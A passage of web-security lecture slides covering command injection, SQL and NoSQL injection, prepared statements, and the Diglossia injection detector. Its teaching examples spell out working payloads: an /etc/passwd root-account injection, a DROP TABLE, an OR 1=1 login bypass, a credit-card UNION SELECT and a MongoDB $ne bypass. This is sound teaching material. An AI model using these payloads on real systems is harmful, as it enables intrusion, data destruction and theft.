\u003Cbr\u003E","\u003Cp\u003EOther Identity Misbinding Attacks\u003Cbr\u003E\u003Cp\u003EUser’s browser logs into website, but the session is associated with the attacker\u003Cbr\u003ECapture user’s private information (Web searches, sent email, etc.)\u003Cbr\u003EPresent user with malicious content\u003Cbr\u003EMany examples\u003Cbr\u003ELogin XSRF\u003Cbr\u003EOpenID\u003Cbr\u003EPHP cookieless authentication\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EPHP Cookieless Authentication\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ERuns on a Web server (application server)\u003Cbr\u003ETakes input from remote users via Web server\u003Cbr\u003EInteracts with back-end databases and other servers providing third-party content\u003Cbr\u003EPrepares and outputs results for users\u003Cbr\u003EDynamically generated HTML pages\u003Cbr\u003EContent from many different sources, often including users themselves\u003Cbr\u003EBlogs, social networks, photo-sharing websites…\u003Cbr\u003E\u003Cp\u003EServer Side of Web Application\u003Cbr\u003E","\u003Cp\u003EDynamic Web Application\u003Cbr\u003EBrowser\u003Cbr\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003EWeb\u003Cbr\u003Eserver\u003Cbr\u003E\u003Cp\u003EGET \u002F HTTP\u002F1.0\u003Cbr\u003E\u003Cp\u003EHTTP\u002F1.1 200 OK\u003Cbr\u003E\u003Cp\u003Eindex.php\u003Cbr\u003E\u003Cp\u003EDatabase\u003Cbr\u003Eserver\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EPHP: Hypertext Preprocessor \u003Cbr\u003E\u003Cp\u003EServer scripting language with C-like syntax\u003Cbr\u003ECan intermingle static HTML and code\u003Cbr\u003E\t\t\u003Cinput value=\u003C?php echo $myvalue; ?\u003E\u003E\u003Cbr\u003ECan embed variables in double-quote strings\u003Cbr\u003E\t\t$user = “world”; echo “Hello $user!”;\u003Cbr\u003Eor\t$user = “world”; echo “Hello” . $user . “!”;\u003Cbr\u003EForm data in global arrays $_GET, $_POST, …\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ECommand Injection in PHP\u003Cbr\u003E\u003Cp\u003ETypical PHP server-side code for sending email\u003Cbr\u003E\u003Cbr\u003EAttacker posts\r\n\u003Cbr\u003EOR \u003Cbr\u003E\u003Cp\u003E $email = $_POST[“email”]\u003Cbr\u003E $subject = $_POST[“subject”]\u003Cbr\u003E system(“mail $email –s $subject \u003C \u002Ftmp\u002Fjoinmynetwork”)\u003Cbr\u003E\u003Cp\u003E http:\u002F\u002Fyourdomain.com\u002Fmail.pl?\u003Cbr\u003E email=[e-mail]&\u003Cbr\u003E subject=foo \u003C \u002Fusr\u002Fpasswd; ls\u003Cbr\u003E\u003Cp\u003E http:\u002F\u002Fyourdomain.com\u002Fmail.pl?\u003Cbr\u003E email=[e-mail]&subject=foo; \u003Cbr\u003E echo “evil::0:0:root:\u002F:\u002Fbin\u002Fsh\"\u003E\u003E\u002Fetc\u002Fpasswd; ls\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ESQL\u003Cbr\u003E\u003Cp\u003EWidely used database query language\u003Cbr\u003EFetch a set of records\u003Cbr\u003ESELECT * FROM Person WHERE Username=‘Vitaly’\u003Cbr\u003EAdd data to the table\u003Cbr\u003EINSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611BBFF)\u003Cbr\u003EModify data\u003Cbr\u003EUPDATE Keys SET Key=FA33452D WHERE PersonID=5\u003Cbr\u003EQuery syntax (mostly) independent of vendor\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ETypical Query Generation Code\u003Cbr\u003E\u003Cp\u003E \u003Cbr\u003E $selecteduser = $_GET['user']; \u003Cbr\u003E $sql = \"SELECT Username, Key FROM Key \" . \u003Cbr\u003E \"WHERE Username='$selecteduser'\";\u003Cbr\u003E $rs = $db-\u003EexecuteQuery($sql); \u003Cbr\u003EWhat if ‘user’ is a malicious string that changes the meaning of the query?\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ETypical Login Prompt\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EEnter \u003Cbr\u003EUsername \u003Cbr\u003E& \u003Cbr\u003EPassword\u003Cbr\u003E\u003Cp\u003EUser Input Becomes Part of Query \u003Cbr\u003E\u003Cp\u003EWeb\u003Cbr\u003Eserver\u003Cbr\u003E\u003Cp\u003EWeb \u003Cbr\u003Ebrowser\u003Cbr\u003E(Client)\u003Cbr\u003E\u003Cp\u003EDB\u003Cbr\u003E\u003Cp\u003ESELECT passwd \u003Cbr\u003EFROM USERS\u003Cbr\u003EWHERE uname \u003Cbr\u003EIS ‘$user’\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EEnter \u003Cbr\u003EUsername \u003Cbr\u003E& \u003Cbr\u003EPassword\u003Cbr\u003E\u003Cp\u003ENormal Login\u003Cbr\u003E\u003Cp\u003EWeb\u003Cbr\u003Eserver\u003Cbr\u003E\u003Cp\u003EWeb \u003Cbr\u003Ebrowser\u003Cbr\u003E(Client)\u003Cbr\u003E\u003Cp\u003EDB\u003Cbr\u003E\u003Cp\u003ESELECT passwd \u003Cbr\u003EFROM USERS\u003Cbr\u003EWHERE uname \u003Cbr\u003EIS ‘smith’\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EMalicious User Input\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EEnter \u003Cbr\u003EUsername \u003Cbr\u003E& \u003Cbr\u003EPassword\u003Cbr\u003E\u003Cp\u003ESQL Injection Attack\u003Cbr\u003E\u003Cp\u003EWeb\u003Cbr\u003Eserver\u003Cbr\u003E\u003Cp\u003EWeb \u003Cbr\u003Ebrowser\u003Cbr\u003E(Client)\u003Cbr\u003E\u003Cp\u003EDB\u003Cbr\u003E\u003Cp\u003ESELECT passwd \u003Cbr\u003EFROM USERS\u003Cbr\u003EWHERE uname \u003Cbr\u003EIS ‘’; DROP TABLE\u003Cbr\u003EUSERS; -- ’\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EEliminates all user accounts\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EExploits of a Mom\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fxkcd.com\u002F327\u002F\u003Cbr\u003E","\u003Cp\u003ESQL Injection: Basic Idea\u003Cbr\u003E\u003Cp\u003EVictim server\u003Cbr\u003E\u003Cp\u003EVictim SQL DB\u003Cbr\u003E\u003Cp\u003EAttacker\u003Cbr\u003E\u003Cp\u003Epost malicious form\u003Cbr\u003E\u003Cp\u003Eunintended query\u003Cbr\u003E\u003Cp\u003Ereceive data from DB\u003Cbr\u003E\u003Cp\u003E1\u003Cbr\u003E\u003Cp\u003E2\u003Cbr\u003E\u003Cp\u003E3\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EThis is an input validation vulnerability\u003Cbr\u003EUnsanitized user input in SQL query to back- end database changes the meaning of query\u003Cbr\u003ESpecial case of code injection\r\n\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EAuthentication with Back-End DB\u003Cbr\u003E\u003Cp\u003Eset UserFound=execute(\u003Cbr\u003E “SELECT * FROM UserTable WHERE\u003Cbr\u003E username=‘ ” & form(“user”) & “ ′ AND \u003Cbr\u003E password= ‘ ” & form(“pwd”) & “ ′ ” );\u003Cbr\u003E User supplies username and password, this SQL query checks if user\u002Fpassword combination is in the database\u003Cbr\u003EIf not UserFound.EOF\u003Cbr\u003E Authentication correct\u003Cbr\u003E else Fail\u003Cbr\u003E\u003Cp\u003EOnly true if the result of SQL query is not empty, i.e., user\u002Fpwd is in the database\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EUsing SQL Injection to Log In\u003Cbr\u003E\u003Cp\u003EUser gives username ′ OR 1=1 --\u003Cbr\u003EWeb server executes query\u003Cbr\u003E set UserFound=execute(\u003Cbr\u003E SELECT * FROM UserTable WHERE\u003Cbr\u003E username=‘’ OR 1=1 -- … );\u003Cbr\u003ENow all records match the query, so the result is not empty ⇒ correct “authentication”!\u003Cbr\u003E\u003Cp\u003EAlways true!\u003Cbr\u003E\u003Cp\u003EEverything after -- is ignored!\u003Cbr\u003E","\u003Cp\u003EPull Data From Other Databases\u003Cbr\u003E\u003Cp\u003EUser gives username\u003Cbr\u003E ’ AND 1=0\r\nUNION SELECT cardholder, number, exp_month, exp_year FROM creditcards\u003Cbr\u003EResults of two queries are combined\u003Cbr\u003EEmpty table from the first query is displayed together with the entire contents of the credit card database\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EUninitialized Inputs\u003Cbr\u003E\u003Cp\u003E\u002F* php-files\u002Flostpassword.php *\u002F\u003Cbr\u003Efor ($i=0; $i\u003C=7; $i++)\u003Cbr\u003E $new_pass .= chr(rand(97,122))\u003Cbr\u003E…\u003Cbr\u003E$result = dbquery(“UPDATE ”.$db_prefix.“users\u003Cbr\u003E SET user_password=md5(‘$new_pass’)\u003Cbr\u003E WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);\u003Cbr\u003EIn normal execution, this becomes\u003Cbr\u003EUPDATE users SET user_password=md5(‘????????’)\u003Cbr\u003EWHERE user_id=‘userid’\u003Cbr\u003E\u003Cp\u003ECreates a password with 8 random characters, assuming $new_pass is set to NULL\u003Cbr\u003E\u003Cp\u003ESQL query setting\u003Cbr\u003Epassword in the DB\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E… with superuser privileges\u003Cbr\u003E\u003Cp\u003EUser’s password is\u003Cbr\u003Eset to ‘badPwd’\u003Cbr\u003E\u003Cp\u003EExploit\u003Cbr\u003E\u003Cp\u003EThis sets $new_pass to \u003Cbr\u003EbadPwd’), user_level=‘103’, user_aim=(‘\u003Cbr\u003E\u003Cp\u003EOnly works against older versions of PHP\u003Cbr\u003E\u003Cp\u003EUser appends this to the URL:\u003Cbr\u003E&new_pass=badPwd%27%29%2c\u003Cbr\u003Euser_level=%27103%27%2cuser_aim=%28%27\u003Cbr\u003E\u003Cbr\u003ESQL query becomes\u003Cbr\u003EUPDATE users SET user_password=md5(‘badPwd’),\u003Cbr\u003E user_level=‘103’, user_aim=(‘????????’)\u003Cbr\u003EWHERE user_id=‘userid’\u003Cbr\u003E","\u003Cp\u003ESecond-Order SQL Injection\u003Cbr\u003E\u003Cp\u003EData stored in the database can be later used to conduct SQL injection\u003Cbr\u003EFor example, user manages to set username to admin’ --\u003Cbr\u003EUPDATE USERS SET passwd=‘cracked’ \r\nWHERE uname=‘admin’ --’\u003Cbr\u003EThis vulnerability could occur if input validation and escaping are applied inconsistently\u003Cbr\u003ESome Web applications only validate inputs coming from the Web server but not inputs coming from the back-end DB\u003Cbr\u003ESolution: treat all parameters as dangerous\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ESQL Injection in the Real World\u003Cbr\u003E\u003Cp\u003ECardSystems\t40M credit card accounts [Jun 2005]\u003Cbr\u003E \u003Cbr\u003E\t\t\t\t134M credit card accounts [Mar 2008]\u003Cbr\u003E \t\t450,000 passwords [Jul 2012]\u003Cbr\u003ECyberVor booty\t1.2 billion accounts [Reported in 2014]\u003Cbr\u003E\t\t\t\tfrom 420,000 websites\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EPreventing SQL Injection\u003Cbr\u003E\u003Cp\u003EValidate all inputs\u003Cbr\u003EFilter out any character that has special meaning\u003Cbr\u003EApostrophes, semicolons, percent symbols, hyphens, underscores, …\u003Cbr\u003ECheck the data type (e.g., input must be an integer)\u003Cbr\u003EWhitelist permitted characters\u003Cbr\u003EBlacklisting “bad” characters doesn’t work\u003Cbr\u003EForget to filter out some characters\u003Cbr\u003ECould prevent valid input (e.g., last name O’Brien)\u003Cbr\u003EAllow only well-defined set of safe values\u003Cbr\u003EImplicitly defined through regular expressions\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EEscaping Quotes\u003Cbr\u003E\u003Cp\u003ESpecial characters such as ’ provide distinction between data and code in queries\u003Cbr\u003EFor valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code\u003Cbr\u003EDifferent databases have different rules for escaping\u003Cbr\u003EExample: escape(o’connor) = o\\’connor or\u003Cbr\u003E escape(o’connor) = o’’connor\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EPrepared Statements\u003Cbr\u003E\u003Cp\u003EIn most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application\u003Cbr\u003EBind variables: placeholders guaranteed to be data (not code)\u003Cbr\u003EPrepared statements allow creation of static queries with bind variables; this makes the structure of the query independent of the actual inputs\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EPrepared Statement: Example\u003Cbr\u003E\u003Cp\u003EPreparedStatement ps =\u003Cbr\u003E db.prepareStatement(\"SELECT pizza, toppings, quantity, order_day \"\u003Cbr\u003E + \"FROM orders WHERE userid=? AND order_month=?\");\u003Cbr\u003Eps.setInt(1, session.getCurrentUserId());\u003Cbr\u003Eps.setInt(2, Integer.parseInt(request.getParamenter(\"month\")));\u003Cbr\u003EResultSet res = ps.executeQuery();\u003Cbr\u003E\u003Cp\u003EBind variable (data placeholder)\u003Cbr\u003E\u003Cp\u003EQuery is parsed without data parameters\u003Cbr\u003EBind variables are typed (int, string, …)\u003Cbr\u003EBut beware of second-order SQL injection… \u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fjava.sun.com\u002Fdocs\u002Fbooks\u002Ftutorial\u002Fjdbc\u002Fbasics\u002Fprepared.html\u003Cbr\u003E","\u003Cp\u003EBuilds SQL queries by properly escaping args\u003Cbr\u003EReplaces ′ with \\′\u003Cbr\u003E\t\u003Cbr\u003E SqlCommand cmd = new SqlCommand( \r\n\t“SELECT * FROM UserTable WHERE \t\r\n\tusername = @User AND \r\n\tpassword = @Pwd”, dbConnection); \u003Cbr\u003E\tcmd.Parameters.Add(“@User”, Request[“user”] ); \u003Cbr\u003E\tcmd.Parameters.Add(“@Pwd”, Request[“pwd”] ); \u003Cbr\u003E\tcmd.ExecuteReader(); \u003Cbr\u003E\u003Cp\u003EParameterized SQL in ASP.NET\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ENoSQL\u003Cbr\u003E\u003Cp\u003ENew class of distributed, scalable data stores\u003Cbr\u003EMongoDB, DynamoDB, CouchDB, Cassandra, others\u003Cbr\u003EStore data in key-value pairs\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ESource: Jeff Kelly, WikiBon \u003Cbr\u003E","\u003Cp\u003ENoSQL Injection Attack (1)\u003Cbr\u003EIf( $document ) {\u003Cbr\u003E $document = findMongoDbDocument( $_REQUEST[‘search’], $_REQUEST[‘db’], \u003Cbr\u003E $_REQUEST[‘collection’], true );\u003Cbr\u003E $customId = true; \u003Cbr\u003E}\u003Cbr\u003E…\u003Cbr\u003Efunction findMongoDbDcoument( $id, $db, $collection, $forceCustomId = false ) {\u003Cbr\u003E ….\u003Cbr\u003E ….\u003Cbr\u003E \u002F\u002F MongoDB find API\u003Cbr\u003E $document = $collection-\u003EfindOne( array( ‘_id’ =\u003E $id ) ) ;\u003Cbr\u003E}\u003Cbr\u003E\u003Cp\u003E$id value is supposed to be a string constant\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002FvictimHost\u002Ftarget.php?search[$ne]=1\u003Cbr\u003E\u003Cp\u003E$id = array( ‘$ne’ =\u003E 1 )\u003Cbr\u003EThis operation now returns any record\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ENoSQL Injection Attack (2)\u003Cbr\u003E\u003Cp\u003E…\u003Cbr\u003E\u002F\u002F Build a JavaScript query from user input.\u003Cbr\u003E$fquery = “ function () {\u003Cbr\u003E ……\u003Cbr\u003E ……\u003Cbr\u003E var userType = “ . $_GET[‘user’] . “;\u003Cbr\u003E ……...\u003Cbr\u003E if( this.showprivilege == userType ) return true;\u003Cbr\u003E else return false;\u003Cbr\u003E }”;\u003Cbr\u003E…\u003Cbr\u003E$result = $collection-\u003Efind( array( ‘$where’ =\u003E $fquery ) );\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002FvictimHost\u002Ftarget.php?user=1; return 1;}\u002F\u002F\u003Cbr\u003E\u003Cp\u003EThis JavaScript query always returns true\u003Cbr\u003E function () {\u003Cbr\u003E var userType=1;\u003Cbr\u003E return 1; \u003Cbr\u003E } \u002F\u002F … }\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EFinding Injection Vulnerabilities\u003Cbr\u003EStatic analysis of Web applications to find potential injection vulnerabilities\u003Cbr\u003ESound\u003Cbr\u003ETool is guaranteed to find all vulnerabilities\u003Cbr\u003EPrecise\u003Cbr\u003EModels semantics of sanitization functions\u003Cbr\u003EModels the structure of the SQL query into which untrusted user inputs are fed\u003Cbr\u003E\u003Cp\u003E[Wassermann and Su. “Sound and Precise Analysis of Web Applications for Injection Vulnerabilities”. PLDI 2007]\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E“Essence” of SQL Injection\u003Cbr\u003E\u003Cp\u003EWeb app provides a template for the SQL query\u003Cbr\u003EAttack = any query in which user input changes the intended structure of the SQL query\u003Cbr\u003EModel strings as context-free grammars (CFG), track non-terminals representing tainted input\u003Cbr\u003EModel string operations as language transducers\u003Cbr\u003EExample: str_replace(“ ’ ’ “, “ ’ “, $input)\u003Cbr\u003E\u003Cp\u003EA matches any char except “ ’ “\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EPhase One: Grammar Production\u003Cbr\u003E\u003Cp\u003EGenerate annotated CFG representing set of all query strings that program can generate \u003Cbr\u003E\u003Cp\u003EDirect:\u003Cbr\u003Edata directly from users\u003Cbr\u003E(e.g., GET parameters)\u003Cbr\u003E\u003Cp\u003EIndirect:\u003Cbr\u003Esecond-order tainted\u003Cbr\u003Edata (means what?)\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EString Analysis + Taint Analysis\u003Cbr\u003E\u003Cp\u003EConvert program into\u003Cbr\u003E static single assignment\u003Cbr\u003E form, then into CFG\u003Cbr\u003EReflects data dependencies\u003Cbr\u003EModel PHP filters as\u003Cbr\u003E string transducers\u003Cbr\u003ESome filters are more complex:\u003Cbr\u003E preg_replace(“\u002Fa([0-9]*)b\u002F”,\u003Cbr\u003E “x\\\\1\\\\1y”, “a01ba3b”) produces “x0101yx33y”\u003Cbr\u003EPropagate taint annotations\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EPhase Two: Checking Safety\u003Cbr\u003E\u003Cp\u003ECheck whether the language represented by CFG contains unsafe queries\u003Cbr\u003EIs it syntactically contained in the language defined by the application’s query template?\u003Cbr\u003E\u003Cp\u003EThis non-terminal represents tainted input\u003Cbr\u003E\u003Cp\u003EFor all sentences of the form σ1 GETUID σ2 \u003Cbr\u003Ederivable from query, GETUID is between quotes in\u003Cbr\u003Ethe position of an SQL string literal\u003Cbr\u003E\u003Cp\u003ESafety check:\u003Cbr\u003EDoes the language rooted in GETUID\u003Cbr\u003Econtain unescaped quotes?\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ETainted Substrings as SQL Literals\u003Cbr\u003E\u003Cp\u003ETainted substrings that cannot be syntactically confined in any SQL query\u003Cbr\u003EAny string with an odd number of unescaped quotes\u003Cbr\u003ENonterminals that occur only in the syntactic position of SQL string literals\u003Cbr\u003ECan an unconfined string be derived from it?\u003Cbr\u003ENonterminals that derive numeric literals only\u003Cbr\u003ERemaining nonterminals in literal position can produce a non-numeric string outside quotes\u003Cbr\u003EProbably an SQL injection vulnerability\u003Cbr\u003ETest if it can derive DROP WHERE, --, etc.\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ETaints in Non-Literal Positions\u003Cbr\u003E\u003Cp\u003ERemaining tainted nonterminals appear as non-literals in SQL query generated by the application\u003Cbr\u003EThis is rare (why?)\u003Cbr\u003EAll derivable strings should be proper SQL statements\u003Cbr\u003EContext-free language inclusion is undecidable\u003Cbr\u003EApproximate by checking whether each derivable string is also derivable from a nonterminal in the SQL grammar\u003Cbr\u003E","\u003Cp\u003EEvaluation\u003Cbr\u003E\u003Cp\u003ETesting on five real-world PHP applications\u003Cbr\u003EDiscovered previously unknown vulnerabilities, including non-trivial ones\u003Cbr\u003EVulnerability in e107 content management system:\u003Cbr\u003E a field is read from a user-modifiable cookie, used in a query in a different file\u003Cbr\u003E21% false positive rate\u003Cbr\u003EWhat are the sources of false positives?\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EExample of a False Positive\u003Cbr\u003E","\u003Cp\u003EChallenge #1: \u003Cbr\u003Epinpoint user-injected parts in the query\u003Cbr\u003ERequires precise, byte- or character-level taint tracking\u003Cbr\u003E\u003Cp\u003ESELECT * FROM t WHERE flag = password\u003Cbr\u003E\u003Cp\u003EUntainted\u003Cbr\u003E\u003Cp\u003ETainted\u003Cbr\u003E\u003Cp\u003ENot enough!\u003Cbr\u003E\u003Cp\u003EDetecting Injection at Runtime (1)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EChallenge #2: \u003Cbr\u003Edecide whether tainted parts of the query \u003Cbr\u003E are code or data\u003Cbr\u003E\u003Cp\u003EDetecting Injection at Runtime (2)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ECheck if keywords or operators are tainted\t\t[Halfond et al.]\u003Cbr\u003ECheck regular expressions on tainted string values\t[Xu et al.]\u003Cbr\u003ECheck if tainted part is an ancestor of\u003Cbr\u003E complete leaf nodes \t\t\t\t[Su et al.]\u003Cbr\u003ECheck if tainted query is syntactically isomorphic to \u003Cbr\u003E\ta query generated from a benign input\t\t[Bandhakavi et al.]\u003Cbr\u003E\u003Cp\u003EAll suffer from false positives and negatives ☹\u003Cbr\u003E","\u003Cp\u003EDefining Code Injection\u003Cbr\u003E\u003Cp\u003ERay-Ligatti definition:\u003Cbr\u003ENon-code is the closed values, everything else is code\u003Cbr\u003EClosed value = fully evaluated with no free variables\u003Cbr\u003E (string and integer literals, pointers, lists of values, etc.)\u003Cbr\u003ECode injection occurs when tainted input values are parsed into code\u003Cbr\u003EExample 1: \u003Cbr\u003E SELECT * FROM t WHERE flag = password\u003Cbr\u003EExample 2: \u003Cbr\u003E SELECT * FROM t WHERE name = ‘x’\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Ray and Ligatti. “Defining Code-Injection Attacks”. POPL 2012]\u003Cbr\u003E","\u003Cp\u003EDiglossia\u003Cbr\u003E\u003Cp\u003EPHP extension that detects SQL and NoSQL injection attacks with no changes to applications, databases, query languages, or Web servers\u003Cbr\u003E\u003Cp\u003E[Son et al. “Detecting Code-Injection Attacks with Precision and Efficiency”. CCS 2013]\u003Cbr\u003E\u003Cp\u003Ediglossia (\u002Fdaɪˈɡlɒsiə\u002F): A situation in which two languages (or two varieties of the same language) are used under different conditions within a community, often by the same speakers\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EInput string value\u003Cbr\u003E\u003Cp\u003EUntainted value\u003Cbr\u003E\u003Cp\u003ETainted value\u003Cbr\u003E\u003Cp\u003Estring\u003Cbr\u003Eoperation\u003Cbr\u003E\u003Cp\u003EOriginal chars\u003Cbr\u003E\u003Cp\u003EOriginal chars\u003Cbr\u003E\u003Cp\u003EOriginal chars\u003Cbr\u003E\u003Cp\u003EInput string value\u003Cbr\u003E\u003Cp\u003EUntainted value\u003Cbr\u003E\u003Cp\u003ETainted value\u003Cbr\u003E\u003Cp\u003Eshadow\u003Cbr\u003Eoperation\u003Cbr\u003E\u003Cp\u003ECharacter remapping\u003Cbr\u003E\u003Cp\u003EOriginal chars\u003Cbr\u003E\u003Cp\u003EShadow chars\u003Cbr\u003E\u003Cp\u003EMix of original and shadow chars \u003Cbr\u003E\u003Cp\u003EOriginal chars\u003Cbr\u003E\u003Cp\u003Eshadow value\u003Cbr\u003E\u003Cp\u003EDiglossia: Taint Tracking\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EDiglossia: Detecting Code Injection\u003Cbr\u003E\u003Cp\u003ETainted value\u003Cbr\u003E\u003Cp\u003ETainted value\u003Cbr\u003E\u003Cp\u003EDual\u003Cbr\u003Eparser\u003Cbr\u003E\u003Cp\u003E\u003CQuery\u003E\u003Cbr\u003E\u003Cp\u003E\u003CQuery\u003E\u003Cbr\u003E\u003Cp\u003ECODE\u003Cbr\u003E\u003Cp\u003ECODE\u003Cbr\u003E\u003Cp\u003EDATA\u003Cbr\u003E\u003Cp\u003E\u003CQuery\u003E\u003Cbr\u003E\u003Cp\u003E\u003CQuery\u003E\u003Cbr\u003E\u003Cp\u003ECODE\u003Cbr\u003E\u003Cp\u003ECODE\u003Cbr\u003E\u003Cp\u003EDATA\u003Cbr\u003E\u003Cp\u003E1. Syntactically isomorphic\u003Cbr\u003E2. Only shadow chars in \u003Cbr\u003E code terminals\u003Cbr\u003E\u003Cp\u003EShadow value \u003Cbr\u003E\u003Cp\u003EMix of original and \u003Cbr\u003Eshadow chars \u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EDiglossia: Character Remapping\u003Cbr\u003E\u003Cp\u003EDynamically generate shadow \u003Cbr\u003E characters so that they are \u003Cbr\u003E guaranteed not to occur \u003Cbr\u003E in user input\u003Cbr\u003EOriginal characters \u003Cbr\u003E84 ASCII characters \u003Cbr\u003EAlphabet and special characters\u003Cbr\u003EShadow characters\u003Cbr\u003ERandomly selected UTF-8 characters\u003Cbr\u003ERemap all untainted characters\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EDiglossia: Dual Parser\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EDetecting Code Injection (Example)\u003Cbr\u003E\u003Cp\u003EParse the query and its shadow in tandem\u003Cbr\u003ESELECT * FROM t WHERE id = password\u003Cbr\u003Emap(SELECT) map(*) map(FROM) map(t) map(WHERE) map(id) map(=) password\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u003CQuery\u003E\u003Cbr\u003E\u003Cp\u003EFROM\u003Cbr\u003E\u003Cp\u003EWHERE\u003Cbr\u003E\u003Cp\u003ESELECT\u003Cbr\u003E\u003Cp\u003E=\u003Cbr\u003E\u003Cp\u003E*\u003Cbr\u003E\u003Cp\u003Et\u003Cbr\u003E\u003Cp\u003Eid\u003Cbr\u003E\u003Cp\u003Epassword\u003Cbr\u003E\u003Cp\u003E\u003CShadow query\u003E\u003Cbr\u003E\u003Cp\u003EFROM\u003Cbr\u003E\u003Cp\u003EWHERE\u003Cbr\u003E\u003Cp\u003ESELECT\u003Cbr\u003E\u003Cp\u003E=\u003Cbr\u003E\u003Cp\u003E*\u003Cbr\u003E\u003Cp\u003Et\u003Cbr\u003E\u003Cp\u003Eid\u003Cbr\u003E\u003Cp\u003Epassword\u003Cbr\u003E\u003Cp\u003ECode injection!\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EAdvantages of Diglossia\u003Cbr\u003E\u003Cp\u003EDiglossia is the first tool to accurately detect code injection attacks on Web applications\u003Cbr\u003ERelies on (almost) Ray-Ligatti definition of code injection\u003Cbr\u003ETransforms the problem of detecting code injection attacks into a string propagation and parsing problem\u003Cbr\u003ENew techniques: value shadowing and dual parsing\u003Cbr\u003EVery efficient\u003Cbr\u003EFully legacy-compatible: no changes to application source code, databases, Web servers, etc.\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ELimitations of Diglossia\u003Cbr\u003E\u003Cp\u003EDoes not permit user input to be intentionally used as part of the query code\u003Cbr\u003EThis is terrible programming practice, anyway!\u003Cbr\u003EThe parser used by Diglossia must be consistent with the parser used by the database\u003Cbr\u003EValue shadowing based on concrete execution may be inaccurate (when can this happen?)\u003Cbr\u003EValue shadowing may be incomplete if strings are passed to third-party extensions (this is rare)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EEchoing or “Reflecting” User Input\u003Cbr\u003E\u003Cp\u003EClassic mistake in server-side applications\u003Cbr\u003Ehttp:\u002F\u002Fnaive.com\u002Fsearch.php?term=“Britney Spears”\u003Cbr\u003Esearch.php responds with\u003Cbr\u003E\u003Chtml\u003E \u003Ctitle\u003ESearch results\u003C\u002Ftitle\u003E\u003Cbr\u003E\u003Cbody\u003EYou have searched for \u003C?php echo $_GET[term] ?\u003E… \u003C\u002Fbody\u003E\u003Cbr\u003EOr\u003Cbr\u003EGET\u002F hello.cgi?name=Bob\u003Cbr\u003Ehello.cgi responds 